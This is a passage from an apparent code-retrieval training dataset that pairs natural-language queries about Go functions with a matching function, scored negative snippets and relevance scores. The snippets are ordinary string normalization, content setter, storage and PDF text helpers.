{\\n\\t\\t\\tnormalizedNumber.WriteRune(newDigit)\\n\\t\\t} else if !removeNonMatches {\\n\\t\\t\\tnormalizedNumber.WriteRune(character)\\n\\t\\t}\\n\\t\\t// If neither of the above are true, we remove this character.\\n\\t}\\n\\treturn normalizedNumber.String()\\n}\",\n \"func Normalize(t Tuplelike) Tuplelike {\\n\\treturn Divide(t, Magnitude(t))\\n}\",\n \"func Normalize(color string) string {\\n\\t//normalize color\\n\\tif len(color) > 1 {\\n\\t\\tif color[0] == '#' {\\n\\t\\t\\tif len(color) == 7 {\\n\\t\\t\\t\\tcolor = \\\"FF\\\" + color[1:]\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tcolor = color[1:]\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn strings.ToUpper(color)\\n}\",\n \"func Normalize(input string) string {\\n\\tre := regexp.MustCompile(extendedKoreanRegex)\\n\\tendingNormalized := re.ReplaceAllStringFunc(\\n\\t\\tinput,\\n\\t\\tfunc(m string) string {\\n\\t\\t\\treturn normalizeEnding(m)\\n\\t\\t},\\n\\t)\\n\\n\\texclamationNormalized := removeRepeatingChar(endingNormalized)\\n\\trepeatingNormalized := normalizeRepeating(exclamationNormalized)\\n\\tcodaNNormalized := normalizeCodaN(repeatingNormalized)\\n\\ttypoCorrected := correctTypo(codaNNormalized)\\n\\n\\treturn typoCorrected\\n}\",\n \"func strim(in token.Token) token.Token {\\n\\tswitch in.Kind() {\\n\\tcase token.TK_ID, token.TK_BOOL:\\n\\t\\treturn toLower(in)\\n\\tcase token.TK_STRING:\\n\\t\\treturn stripEnds(in)\\n\\tdefault:\\n\\t\\treturn in\\n\\t}\\n}\",\n \"func WordSepNormalizeFunc(f *pflag.FlagSet, name string) pflag.NormalizedName {\\n\\tif strings.Contains(name, \\\"_\\\") {\\n\\t\\treturn pflag.NormalizedName(strings.Replace(name, \\\"_\\\", \\\"-\\\", -1))\\n\\t}\\n\\treturn pflag.NormalizedName(name)\\n}\",\n \"func (b *Buffer) Normalize() *Buffer {\\n\\tw, h := b.Size()\\n\\tb.Cursor.Normalize(w, h)\\n\\treturn b\\n}\",\n \"func NormalizeLabel(label string) string {\\n\\n\\t// Trivial case\\n\\tif len(label) == 0 {\\n\\t\\treturn label\\n\\t}\\n\\n\\t// Replace all non-alphanumeric runes with underscores\\n\\tlabel = strings.Map(sanitizeRune, label)\\n\\n\\t// If label starts with a number, prepend with \\\"key_\\\"\\n\\tif unicode.IsDigit(rune(label[0])) {\\n\\t\\tlabel = \\\"key_\\\" + label\\n\\t} else if strings.HasPrefix(label, \\\"_\\\") && !strings.HasPrefix(label, \\\"__\\\") && !featuregate.GetRegistry().IsEnabled(dropSanitizationGate.ID) {\\n\\t\\tlabel = \\\"key\\\" + label\\n\\t}\\n\\n\\treturn label\\n}\",\n \"func (s *Solution) Normalize() *Solution {\\n\\tclone := s.Clone()\\n\\n\\tfor i, _ := range clone.Weighings {\\n\\t\\tclone.Weighings[i] = NewWeighing(clone.Weighings[i].Pan(0).Sort(), clone.Weighings[i].Pan(1).Sort())\\n\\t}\\n\\tclone.flags |= NORMALISED &^ (CANONICALISED)\\n\\treturn clone\\n}\",\n \"func filterCharsAndNormalize(strData string) string {\\n\\tpattern := regexp.MustCompile(`[\\\\W_]+`)\\n\\treturn strings.ToLower(pattern.ReplaceAllString(strData, ` `))\\n}\",\n \"func signV4TrimAll(input string) string {\\n\\t// Compress adjacent spaces (a space is determined by\\n\\t// unicode.IsSpace() internally here) to one space and return\\n\\treturn strings.Join(strings.Fields(input), \\\" \\\")\\n}\",\n \"func NormalizeVersionName(version string) string {\\n\\tfor _, char := range TrimChars {\\n\\t\\tversion = strings.ReplaceAll(version, char, \\\"\\\")\\n\\t}\\n\\treturn version\\n}\",\n \"func (o *SparseCloudSnapshotAccount) SetNormalizedTags(normalizedTags []string) {\\n\\n\\to.NormalizedTags = &normalizedTags\\n}\",\n \"func Vnormalize(v Vect) Vect {\\n\\treturn goVect(C.cpvnormalize(v.c()))\\n}\",\n \"func NewNormalizer() *Normalizer {\\n\\treturn &Normalizer{\\n\\t\\ttrans: transform.Chain(norm.NFD, runes.Remove(mn), norm.NFC),\\n\\t}\\n}\",\n \"func NormalizeString(s string) string {\\n l := strings.ToLower(s)\\n t := transform.Chain(norm.NFD, transform.RemoveFunc(isMn), norm.NFC)\\n n, _, _ := transform.String(t, l)\\n return n\\n}\",\n \"func normalizeHeader(header string) string {\\n\\tre := regexp.MustCompile(\\\"[[:^ascii:]]\\\")\\n\\treturn strings.ToLower(strings.TrimSpace(re.ReplaceAllLiteralString(header, \\\"\\\")))\\n}\",\n \"func Normalize(path string) string {\\n\\treturn filepath.Clean(filepath.ToSlash(path))\\n}\",\n \"func NormalizeName(s string) string {\\n\\treturn strings.ToLower(strings.TrimSpace(s))\\n}\",\n \"func (h Host) Normalize() string {\\n\\t// separate host and port\\n\\thost, _, err := net.SplitHostPort(string(h))\\n\\tif err != nil {\\n\\t\\thost, _, _ = net.SplitHostPort(string(h) + \\\":\\\")\\n\\t}\\n\\treturn strings.ToLower(dns.Fqdn(host))\\n}\",\n \"func normalizeCommit(commit string) string {\\n\\tcommit = strings.TrimPrefix(commit, \\\"tags/\\\")\\n\\tcommit = strings.TrimPrefix(commit, \\\"origin/\\\")\\n\\tcommit = strings.TrimPrefix(commit, \\\"heads/\\\")\\n\\treturn commit\\n}\",\n \"func NormalizeString(word string) string {\\n\\tletters := []string{}\\n\\tfor _, letter := range word {\\n\\t\\tletters = append(letters, strings.ToLower(string(letter)))\\n\\t}\\n\\tsort.Strings(letters)\\n\\treturn strings.Join(letters, \\\"\\\")\\n}\",\n \"func sanitizeMetricName(namespace string, v *view.View) string {\\n\\tif namespace != \\\"\\\" {\\n\\t\\tnamespace = strings.Replace(namespace, \\\" \\\", \\\"\\\", -1)\\n\\t\\treturn sanitizeString(namespace) + \\\".\\\" + sanitizeString(v.Name)\\n\\t}\\n\\treturn sanitizeString(v.Name)\\n}\",\n \"func (ss *Strings) Normalize() []string {\\n\\tls := make([]string, len(*ss))\\n\\n\\tfor x, v := range *ss {\\n\\t\\tls[x] = v\\n\\t}\\n\\n\\treturn ls\\n}\",\n \"func Normalize(path string) string {\\n\\tif filepath.IsAbs(path) {\\n\\t\\trel, err := filepath.Rel(\\\"/\\\", path)\\n\\t\\tif err != nil {\\n\\t\\t\\tpanic(\\\"absolute filepath must be relative to /\\\")\\n\\t\\t}\\n\\t\\treturn rel\\n\\t}\\n\\treturn path\\n}\",\n \"func Normalize(path string) string {\\n\\tif filepath.IsAbs(path) {\\n\\t\\trel, err := filepath.Rel(\\\"/\\\", path)\\n\\t\\tif err != nil {\\n\\t\\t\\tpanic(\\\"absolute filepath must be relative to /\\\")\\n\\t\\t}\\n\\t\\treturn rel\\n\\t}\\n\\treturn path\\n}\",\n \"func NormalizedDistance(a, b []float32) (float32, error) {\\n\\tsim, err := cosineSim(a, b)\\n\\tif err != nil {\\n\\t\\treturn 1, fmt.Errorf(\\\"normalized distance: %v\\\", err)\\n\\t}\\n\\n\\treturn (1 - sim) / 2, nil\\n}\",\n \"func normalizeStr(str string) string {\\n\\treturn strings.Replace(str, \\\"/\\\", \\\"-\\\", -1)\\n}\",\n \"func NormalizeEmail(email string) string {\\r\\n\\treturn strings.ToLower(strings.Trim(email, \\\" \\\"))\\r\\n}\",\n \"func NormalizeHost(host string) (string, error) {\\n\\tvar buf bytes.Buffer\\n\\n\\t// hosts longer than 253 characters are illegal\\n\\tif len(host) > 253 {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"hostname is too long, should contain less than 253 characters\\\")\\n\\t}\\n\\n\\tfor _, r := range host {\\n\\t\\tswitch r {\\n\\t\\t// has null rune just toss the whole thing\\n\\t\\tcase '\\\\x00':\\n\\t\\t\\treturn \\\"\\\", fmt.Errorf(\\\"hostname cannot contain null character\\\")\\n\\t\\t// drop these characters entirely\\n\\t\\tcase '\\\\n', '\\\\r', '\\\\t':\\n\\t\\t\\tcontinue\\n\\t\\t// replace characters that are generally used for xss with '-'\\n\\t\\tcase '>', '<':\\n\\t\\t\\tbuf.WriteByte('-')\\n\\t\\tdefault:\\n\\t\\t\\tbuf.WriteRune(r)\\n\\t\\t}\\n\\t}\\n\\n\\treturn buf.String(), nil\\n}\",\n \"func (mu *MuHash) normalize() {\\n\\tmu.numerator.Divide(&mu.denominator)\\n\\tmu.denominator.SetToOne()\\n}\",\n \"func Humanize(n uint64) string {\\n\\t// -1 precision removes trailing zeros\\n\\treturn HumanizeWithPrecision(n, -1)\\n}\",\n \"func NormalizeName(name string) string {\\n\\tname = strings.TrimLeft(name, \\\"_\\\")\\n\\treturn strings.ToUpper(name[:1]) + name[1:]\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.64254564","0.5996167","0.59790814","0.5877511","0.58345115","0.5779624","0.57518613","0.56995845","0.5698832","0.567942","0.5675367","0.5589547","0.55747324","0.55246043","0.5511218","0.54912746","0.54622245","0.54035467","0.5398468","0.53843504","0.5318227","0.5269848","0.52636755","0.52605927","0.52332157","0.5231175","0.5222339","0.5218161","0.520573","0.517494","0.51472807","0.5130612","0.5034048","0.5006782","0.50049627","0.5003855","0.49854562","0.49827135","0.49704358","0.49699563","0.4969202","0.4945383","0.4943381","0.4938682","0.4928427","0.4908027","0.4892739","0.48673847","0.4836543","0.4825624","0.4823473","0.4822291","0.4813891","0.48130903","0.48097983","0.4792921","0.47914356","0.47874114","0.47742006","0.47594127","0.475763","0.47462258","0.47289613","0.4726106","0.47259286","0.47179562","0.4705508","0.47038624","0.46894345","0.4684258","0.46699592","0.46646622","0.46438336","0.46373573","0.46256298","0.4624957","0.46238032","0.46074423","0.4606552","0.46057266","0.45993355","0.4596065","0.4592769","0.4592164","0.45772874","0.4570479","0.45608395","0.45605502","0.45595962","0.45594162","0.4543933","0.45412078","0.45412078","0.4536432","0.45337683","0.45200846","0.4516202","0.45018405","0.44983086","0.44980264"],"string":"[\n \"0.64254564\",\n \"0.5996167\",\n \"0.59790814\",\n \"0.5877511\",\n \"0.58345115\",\n \"0.5779624\",\n \"0.57518613\",\n \"0.56995845\",\n \"0.5698832\",\n \"0.567942\",\n \"0.5675367\",\n \"0.5589547\",\n \"0.55747324\",\n \"0.55246043\",\n \"0.5511218\",\n \"0.54912746\",\n \"0.54622245\",\n \"0.54035467\",\n \"0.5398468\",\n \"0.53843504\",\n \"0.5318227\",\n \"0.5269848\",\n \"0.52636755\",\n \"0.52605927\",\n \"0.52332157\",\n \"0.5231175\",\n \"0.5222339\",\n \"0.5218161\",\n \"0.520573\",\n \"0.517494\",\n \"0.51472807\",\n \"0.5130612\",\n \"0.5034048\",\n \"0.5006782\",\n \"0.50049627\",\n \"0.5003855\",\n \"0.49854562\",\n \"0.49827135\",\n \"0.49704358\",\n \"0.49699563\",\n \"0.4969202\",\n \"0.4945383\",\n \"0.4943381\",\n \"0.4938682\",\n \"0.4928427\",\n \"0.4908027\",\n \"0.4892739\",\n \"0.48673847\",\n \"0.4836543\",\n \"0.4825624\",\n \"0.4823473\",\n \"0.4822291\",\n \"0.4813891\",\n \"0.48130903\",\n \"0.48097983\",\n \"0.4792921\",\n \"0.47914356\",\n \"0.47874114\",\n \"0.47742006\",\n \"0.47594127\",\n \"0.475763\",\n \"0.47462258\",\n \"0.47289613\",\n \"0.4726106\",\n \"0.47259286\",\n \"0.47179562\",\n \"0.4705508\",\n \"0.47038624\",\n \"0.46894345\",\n \"0.4684258\",\n \"0.46699592\",\n \"0.46646622\",\n \"0.46438336\",\n \"0.46373573\",\n \"0.46256298\",\n \"0.4624957\",\n \"0.46238032\",\n \"0.46074423\",\n \"0.4606552\",\n \"0.46057266\",\n \"0.45993355\",\n \"0.4596065\",\n \"0.4592769\",\n \"0.4592164\",\n \"0.45772874\",\n \"0.4570479\",\n \"0.45608395\",\n \"0.45605502\",\n \"0.45595962\",\n \"0.45594162\",\n \"0.4543933\",\n \"0.45412078\",\n \"0.45412078\",\n \"0.4536432\",\n \"0.45337683\",\n \"0.45200846\",\n \"0.4516202\",\n \"0.45018405\",\n \"0.44983086\",\n \"0.44980264\"\n]"},"document_score":{"kind":"string","value":"0.7856833"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106191,"cells":{"query":{"kind":"string","value":"AddContent incorporates the provided textual content into the classifier for matching. This will not modify the supplied content."},"document":{"kind":"string","value":"func (c *Classifier) AddContent(name string, content []byte) {\n\tdoc := tokenize(content)\n\tc.addDocument(name, doc)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func AddContent(ignitionConfig *igntypes.Config, content []byte, dst string, mode *int) {\n\tcontentBase64 := base64.StdEncoding.EncodeToString(content)\n\tignitionConfig.Storage.Files = append(ignitionConfig.Storage.Files, igntypes.File{\n\t\tNode: igntypes.Node{\n\t\t\tPath: dst,\n\t\t},\n\t\tFileEmbedded1: igntypes.FileEmbedded1{\n\t\t\tContents: igntypes.Resource{\n\t\t\t\tSource: pointer.StringPtr(fmt.Sprintf(\"%s,%s\", defaultIgnitionContentSource, contentBase64)),\n\t\t\t},\n\t\t\tMode: mode,\n\t\t},\n\t})\n}","func (mime *MIMEMessage)addContent(content string) {\n\tmime.container.WriteString(fmt.Sprintf(\"--%s\\r\\n\", mime.boundary))\n\tmime.container.WriteString(\"Content-Type: text/plain; charset=UTF-8\\r\\n\")\n\tmime.container.WriteString(content)\n}","func (p *ParseData) SetContent(c string) {\n\tp.content = c\n}","func (ct *ContentTypes) RegisterContent(fileName string, contentType ml.ContentType) {\n\tif fileName[0] != '/' {\n\t\tfileName = \"/\" + fileName\n\t}\n\n\tct.ml.Overrides = append(ct.ml.Overrides, &ml.TypeOverride{\n\t\tPartName: fileName,\n\t\tContentType: contentType,\n\t})\n\n\tct.file.MarkAsUpdated()\n}","func ContentContains(v string) predicate.Post {\n\treturn predicate.Post(func(s *sql.Selector) {\n\t\ts.Where(sql.Contains(s.C(FieldContent), v))\n\t})\n}","func (m *Model) SetContent(content string) {\n\tm.Content = content\n}","func (m *Model) SetContent(content string) {\n\tm.Content = content\n}","func (a *AcceptMessage) WithContent(content string) *AcceptMessage {\n\ta.Embed = &discordgo.MessageEmbed{\n\t\tColor: components.EmbedColorDefault,\n\t\tDescription: content,\n\t}\n\treturn a\n}","func NewContent(chainContent *ChainContent, sequence int) *Content {\n\treturn &Content{\n\t\tLabel: chainContent.Label,\n\t\tType: fmt.Sprintf(\"%v\", chainContent.Value[0]),\n\t\tValue: fmt.Sprintf(\"%v\", chainContent.Value[1]),\n\t\tContentSequence: sequence,\n\t\tDType: []string{\"Content\"},\n\t}\n}","func (d *Doc) AddMultilineText(x, y float64, content string) {\n\tdata := strings.Split(content, \"\\n\")\n\tfor i := range data {\n\t\td.AddText(x, y, data[i])\n\t\ty += d.DefaultLineHeight()\n\t}\n}","func (d *Doc) AddText(x, y float64, content string) error {\n\td.SetPosition(x, y)\n\tif err := d.GoPdf.Cell(nil, content); err != nil {\n\t\treturn fmt.Errorf(\"error adding text to PDF: %s\", err)\n\t}\n\treturn nil\n}","func (app *builder) WithContent(content Content) Builder {\n\tapp.content = content\n\treturn app\n}","func (e *Element) SetContent(content []byte) {\n\tif len(e.children) > 0 {\n\t\treturn\n\t}\n\te.content = content\n}","func (c *genericCatch) appendContent(content interface{}, pos Position) {\n\tswitch v := content.(type) {\n\tcase string:\n\t\tc.appendString(v, pos)\n\tcase []posContent:\n\t\tc.appendContents(v)\n\tcase []interface{}:\n\t\tfor _, item := range v {\n\t\t\tc.appendContent(item, pos)\n\t\t}\n\tcase posContent:\n\t\tc.appendContent(v.content, v.pos)\n\tdefault:\n\t\tc.pushContent(v, pos)\n\t}\n}","func (u *GithubGistUpsertBulk) SetContent(v string) *GithubGistUpsertBulk {\n\treturn u.Update(func(s *GithubGistUpsert) {\n\t\ts.SetContent(v)\n\t})\n}","func (o *ResourceIdTagsJsonTags) SetContent(v string) {\n\to.Content = &v\n}","func (u *GithubGistUpsert) SetContent(v string) *GithubGistUpsert {\n\tu.Set(githubgist.FieldContent, v)\n\treturn u\n}","func NewContent(name string) *Content {\n\tthis := Content{}\n\tvar accessType string = \"acl\"\n\tthis.AccessType = &accessType\n\tvar runAsCurrentUser bool = false\n\tthis.RunAsCurrentUser = &runAsCurrentUser\n\tthis.Name = name\n\treturn &this\n}","func (f *File) SetContent(content []byte) {\n\tf.content = content\n}","func (ggc *GithubGistCreate) SetContent(s string) *GithubGistCreate {\n\tggc.mutation.SetContent(s)\n\treturn ggc\n}","func (o *SimpleStringWeb) SetContent(v string) {\n\to.Content = &v\n}","func (u *GithubGistUpsertOne) SetContent(v string) *GithubGistUpsertOne {\n\treturn u.Update(func(s *GithubGistUpsert) {\n\t\ts.SetContent(v)\n\t})\n}","func (label *LabelWidget) SetContent(content string) {\n\tlabel.content = content\n\tlabel.needsRepaint = true\n}","func (ac *ArticleCreate) SetContent(s string) *ArticleCreate {\n\tac.mutation.SetContent(s)\n\treturn ac\n}","func (cfc *CustomerFollowCreate) SetContent(s string) *CustomerFollowCreate {\n\tcfc.mutation.SetContent(s)\n\treturn cfc\n}","func (self *CommitMessagePanelDriver) Content(expected *TextMatcher) *CommitMessagePanelDriver {\n\tself.getViewDriver().Content(expected)\n\n\treturn self\n}","func (o *PollersPostParams) SetContent(content *models.Poller20PartialPoller) {\n\to.Content = content\n}","func (o *JsonEnvironment) SetContent(v []string) {\n\to.Content = &v\n}","func (d *driver) PutContent(ctx context.Context, path string, contents []byte) error {\n\tdefer debugTime()()\n\tcontentHash, err := d.shell.Add(bytes.NewReader(contents))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// strip off leading slash\n\tpath = path[1:]\n\n\td.rootlock.Lock()\n\tdefer d.rootlock.Unlock()\n\tnroot, err := d.shell.PatchLink(d.roothash, path, contentHash, true)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\td.roothash = nroot\n\td.publishHash(nroot)\n\treturn nil\n}","func (ec *ExperienceCreate) SetContent(s string) *ExperienceCreate {\n\tec.mutation.SetContent(s)\n\treturn ec\n}","func (s *Vocabulary) SetContent(v string) *Vocabulary {\n\ts.Content = &v\n\treturn s\n}","func (s *ModelCard) SetContent(v string) *ModelCard {\n\ts.Content = &v\n\treturn s\n}","func (s *UpdateModelCardInput) SetContent(v string) *UpdateModelCardInput {\n\ts.Content = &v\n\treturn s\n}","func (s *LabelingJobDataAttributes) SetContentClassifiers(v []*string) *LabelingJobDataAttributes {\n\ts.ContentClassifiers = v\n\treturn s\n}","func (t *TextUpdateSystem) Add(text *Text) {\n\tt.entities = append(t.entities, textEntity{text})\n}","func (m *WorkbookCommentReply) SetContent(value *string)() {\n m.content = value\n}","func (o *GetMessagesAllOf) SetMatchContent(v string) {\n\to.MatchContent = &v\n}","func (ac *AnswerCreate) SetContent(s string) *AnswerCreate {\n\tac.mutation.SetContent(s)\n\treturn ac\n}","func (o *FileDto) SetContent(v []string) {\n\to.Content = &v\n}","func Content(v string) predicate.Post {\n\treturn predicate.Post(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldContent), v))\n\t})\n}","func (t Template) ProcessContent(content, source string) (string, error) {\n\treturn t.processContentInternal(content, source, nil, 0)\n}","func NewContent(path string) *Content {\n\ttpl, err := template.ParseFiles(path)\n\tif err != nil {\n\t\tlog.WithField(\"Template\", path).WithError(err).Fatalf(\"Unable to process template\")\n\t}\n\treturn &Content{\n\t\ttpl: tpl,\n\t}\n}","func (d *DiscordWebhook) SetContent(content string) {\n\td.Content = content\n}","func (d *KrakenStorageDriver) PutContent(ctx context.Context, path string, content []byte) error {\n\tlog.Debugf(\"(*KrakenStorageDriver).PutContent %s\", path)\n\tpathType, pathSubType, err := ParsePath(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tswitch pathType {\n\tcase _manifests:\n\t\terr = d.manifests.putContent(path, pathSubType)\n\tcase _uploads:\n\t\terr = d.uploads.putContent(path, pathSubType, content)\n\tcase _layers:\n\t\t// noop\n\t\treturn nil\n\tcase _blobs:\n\t\terr = d.uploads.putBlobContent(path, content)\n\tdefault:\n\t\treturn InvalidRequestError{path}\n\t}\n\tif err != nil {\n\t\treturn toDriverError(err, path)\n\t}\n\treturn nil\n}","func (s *CreateModelCardInput) SetContent(v string) *CreateModelCardInput {\n\ts.Content = &v\n\treturn s\n}","func (r *regulator) PutContent(ctx context.Context, path string, content []byte) error {\n\tr.enter()\n\tdefer r.exit()\n\n\treturn r.StorageDriver.PutContent(ctx, path, content)\n}","func (s *Script) AddText(text string) {\n\tif text > \"\" {\n\t\t//s.SetText(html.EscapeString(text))\n\t\ts.SetText(text)\n\t}\n}","func (au *ArticleUpdate) SetContent(s string) *ArticleUpdate {\n\tau.mutation.SetContent(s)\n\treturn au\n}","func (au *ArticleUpdate) SetContent(s string) *ArticleUpdate {\n\tau.mutation.SetContent(s)\n\treturn au\n}","func (blk *Block) addContentsByString(contents string) error {\n\tcc := contentstream.NewContentStreamParser(contents)\n\toperations, err := cc.Parse()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tblk.contents.WrapIfNeeded()\n\toperations.WrapIfNeeded()\n\t*blk.contents = append(*blk.contents, *operations...)\n\n\treturn nil\n}","func (d *driver) PutContent(ctx context.Context, path string, contents []byte) error {\n\t_, err := d.Client.PutObject(&obs.PutObjectInput{\n\t\tPutObjectBasicInput: obs.PutObjectBasicInput{\n\t\t\tObjectOperationInput: obs.ObjectOperationInput{\n\t\t\t\tBucket: d.Bucket,\n\t\t\t\tKey: d.obsPath(path),\n\t\t\t\tACL: d.getACL(),\n\t\t\t\tStorageClass: d.getStorageClass(),\n\t\t\t\t//SseHeader: obs.SseKmsHeader{Encryption: obs.DEFAULT_SSE_KMS_ENCRYPTION},\n\t\t\t},\n\t\t\tContentType: d.getContentType(),\n\t\t},\n\t\tBody: bytes.NewReader(contents),\n\t})\n\treturn parseError(path, err)\n}","func (o *Comment) SetContent(v string) {\n\to.Content = &v\n}","func NewContent(scope, content map[string]interface{}) (*ClaimContent, string, error) {\n\tcc := &ClaimContent{\n\t\tScope: scope,\n\t\tContents: content,\n\t}\n\treturn cc, cc.ID(), cc.Set()\n}","func (auo *ArticleUpdateOne) SetContent(s string) *ArticleUpdateOne {\n\tauo.mutation.SetContent(s)\n\treturn auo\n}","func (auo *ArticleUpdateOne) SetContent(s string) *ArticleUpdateOne {\n\tauo.mutation.SetContent(s)\n\treturn auo\n}","func (pu *PostUpdate) SetContent(s string) *PostUpdate {\n\tpu.mutation.SetContent(s)\n\treturn pu\n}","func (pu *PostUpdate) SetContent(s string) *PostUpdate {\n\tpu.mutation.SetContent(s)\n\treturn pu\n}","func (r *AlibabaSecurityJaqRpCloudRphitAPIRequest) SetContent(_content string) error {\n\tr._content = _content\n\tr.Set(\"content\", _content)\n\treturn nil\n}","func (o *MicrosoftGraphWorkbookComment) SetContent(v string) {\n\to.Content = &v\n}","func (s *DescribeModelCardOutput) SetContent(v string) *DescribeModelCardOutput {\n\ts.Content = &v\n\treturn s\n}","func Add(file string, content []byte) {\n\tblob.Add(file, content)\n}","func AddTarContent(a *Archive, file io.Reader, to string) (int, error) {\n\treader := tar.NewReader(file)\n\tcount := 0\n\tfor {\n\t\thdr, err := reader.Next()\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\treturn count, err\n\t\t}\n\n\t\tswitch hdr.Typeflag {\n\t\tcase tar.TypeRegA, tar.TypeReg:\n\t\t\tif err := readFileFromTar(a, reader, hdr, to); err != nil {\n\t\t\t\treturn count, err\n\t\t\t}\n\n\t\t\tcount++\n\t\t}\n\t}\n\n\treturn count, nil\n}","func (s *CreateVocabularyInput) SetContent(v string) *CreateVocabularyInput {\n\ts.Content = &v\n\treturn s\n}","func (s *ChatMessage) SetContent(v string) *ChatMessage {\n\ts.Content = &v\n\treturn s\n}","func NewContent(\n\tinitialContent lease.ReadProxy,\n\tclock timeutil.Clock) (mc Content) {\n\tmc = &mutableContent{\n\t\tclock: clock,\n\t\tinitialContent: initialContent,\n\t\tdirtyThreshold: initialContent.Size(),\n\t}\n\n\treturn\n}","func (s *ContactFlow) SetContent(v string) *ContactFlow {\n\ts.Content = &v\n\treturn s\n}","func (r *mutationResolver) CreateContent(ctx context.Context, input *models.CreateContentInput) (*content.Content, error) {\n\tpanic(\"not implemented\")\n}","func (s *Policy) SetContent(v string) *Policy {\n\ts.Content = &v\n\treturn s\n}","func (upu *UnsavedPostUpdate) SetContent(s string) *UnsavedPostUpdate {\n\tupu.mutation.SetContent(s)\n\treturn upu\n}","func (form *Form) AddText(text Text) {\n\tform.texts = append(form.texts, text)\n}","func (s *ResourcePolicy) SetContent(v string) *ResourcePolicy {\n\ts.Content = &v\n\treturn s\n}","func (s *UpdateContactFlowContentInput) SetContent(v string) *UpdateContactFlowContentInput {\n\ts.Content = &v\n\treturn s\n}","func (d *Doc) AddWrapText(x1, y, x2 float64, content string) {\n\twidth := x2 - x1\n\tchars := []rune(content)\n\tlines := 0.0\n\tvar i, j int\n\tfor j = 0; j < len(chars); j++ {\n\t\tl, _ := d.GoPdf.MeasureTextWidth(string(chars[i:j]))\n\t\tif l >= width {\n\t\t\td.AddText(x1, y+d.LineHeight(d.defaultFontSize)*lines, string(chars[i:j-1]))\n\t\t\ti = j - 1\n\t\t\tlines++\n\t\t}\n\t}\n\t// fmt.Println(string(chars[]))\n}","func (s *UpdateContactFlowModuleContentInput) SetContent(v string) *UpdateContactFlowModuleContentInput {\n\ts.Content = &v\n\treturn s\n}","func (upuo *UnsavedPostUpdateOne) SetContent(s string) *UnsavedPostUpdateOne {\n\tupuo.mutation.SetContent(s)\n\treturn upuo\n}","func NewContent(address common.Address, backend bind.ContractBackend) (*Content, error) {\n\tcontract, err := bindContent(address, backend, backend, backend)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Content{ContentCaller: ContentCaller{contract: contract}, ContentTransactor: ContentTransactor{contract: contract}, ContentFilterer: ContentFilterer{contract: contract}}, nil\n}","func (m *ChatMessageAttachment) SetContent(value *string)() {\n err := m.GetBackingStore().Set(\"content\", value)\n if err != nil {\n panic(err)\n }\n}","func (puo *PostUpdateOne) SetContent(s string) *PostUpdateOne {\n\tpuo.mutation.SetContent(s)\n\treturn puo\n}","func (puo *PostUpdateOne) SetContent(s string) *PostUpdateOne {\n\tpuo.mutation.SetContent(s)\n\treturn puo\n}","func ParseContent(text []byte) (*Appcast, error) {\n\tvar appcast = New()\n\terr := xml.Unmarshal(text, appcast)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn appcast, nil\n}","func (m *MsgSubmitProposal) SetContent(content Content) error {\n\tmsg, ok := content.(proto.Message)\n\tif !ok {\n\t\treturn fmt.Errorf(\"can't proto marshal %T\", msg)\n\t}\n\tany, err := codectypes.NewAnyWithValue(msg)\n\tif err != nil {\n\t\treturn err\n\t}\n\tm.Content = any\n\treturn nil\n}","func (_BaseContentSpace *BaseContentSpaceTransactor) AddContentType(opts *bind.TransactOpts, content_type common.Address, content_contract common.Address) (*types.Transaction, error) {\n\treturn _BaseContentSpace.contract.Transact(opts, \"addContentType\", content_type, content_contract)\n}","func (this *SIPMessage) SetContent(content interface{}, contentTypeHeader header.ContentTypeHeader) { //throws ParseException {\n\t//if content == nil) throw new NullPointerException(\"nil content\");\n\tthis.SetHeader(contentTypeHeader)\n\tlength := -1\n\tif s, ok := content.(string); ok {\n\t\tthis.messageContent = s\n\t\tlength = len(s)\n\t} else if b, ok := content.([]byte); ok {\n\t\tthis.messageContentBytes = b\n\t\tlength = len(b)\n\t} else {\n\t\tpanic(\"Don't support GenericObject\")\n\t\t//this.messageContentObject = content\n\t\t//length = len(content.(core.GenericObject).String())\n\t}\n\n\t//try {\n\n\t// if (content instanceof String )\n\t// length = ((String)content).length();\n\t// else if (content instanceof byte[])\n\t// length = ((byte[])content).length;\n\t// else\n\t// length = content.toString().length();\n\n\tif length != -1 {\n\t\tthis.contentLengthHeader.SetContentLength(length)\n\t}\n\t// } catch (InvalidArgumentException ex) {}\n\n}","func (s *ContactFlowModule) SetContent(v string) *ContactFlowModule {\n\ts.Content = &v\n\treturn s\n}","func (s *CreateContactFlowInput) SetContent(v string) *CreateContactFlowInput {\n\ts.Content = &v\n\treturn s\n}","func LookupContent(ctx *pulumi.Context, args *LookupContentArgs, opts ...pulumi.InvokeOption) (*LookupContentResult, error) {\n\topts = internal.PkgInvokeDefaultOpts(opts)\n\tvar rv LookupContentResult\n\terr := ctx.Invoke(\"google-native:dataplex/v1:getContent\", args, &rv, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &rv, nil\n}","func (o *DriveItemVersion) SetContent(v string) {\n\to.Content = &v\n}","func (_BaseLibrary *BaseLibraryTransactor) AddContentType(opts *bind.TransactOpts, content_type common.Address, content_contract common.Address) (*types.Transaction, error) {\n\treturn _BaseLibrary.contract.Transact(opts, \"addContentType\", content_type, content_contract)\n}","func (s *NotebookInstanceLifecycleHook) SetContent(v string) *NotebookInstanceLifecycleHook {\n\ts.Content = &v\n\treturn s\n}","func (s *CreateContactFlowModuleInput) SetContent(v string) *CreateContactFlowModuleInput {\n\ts.Content = &v\n\treturn s\n}","func (c *Sender) EmitContent(s string) {\n\tc.content = s\n}","func (d *Doc) AddFormattedMultilineText(x, y float64, content string, size int, style string) {\n\td.SetFontSize(size)\n\td.SetFontStyle(style)\n\tdata := strings.Split(content, 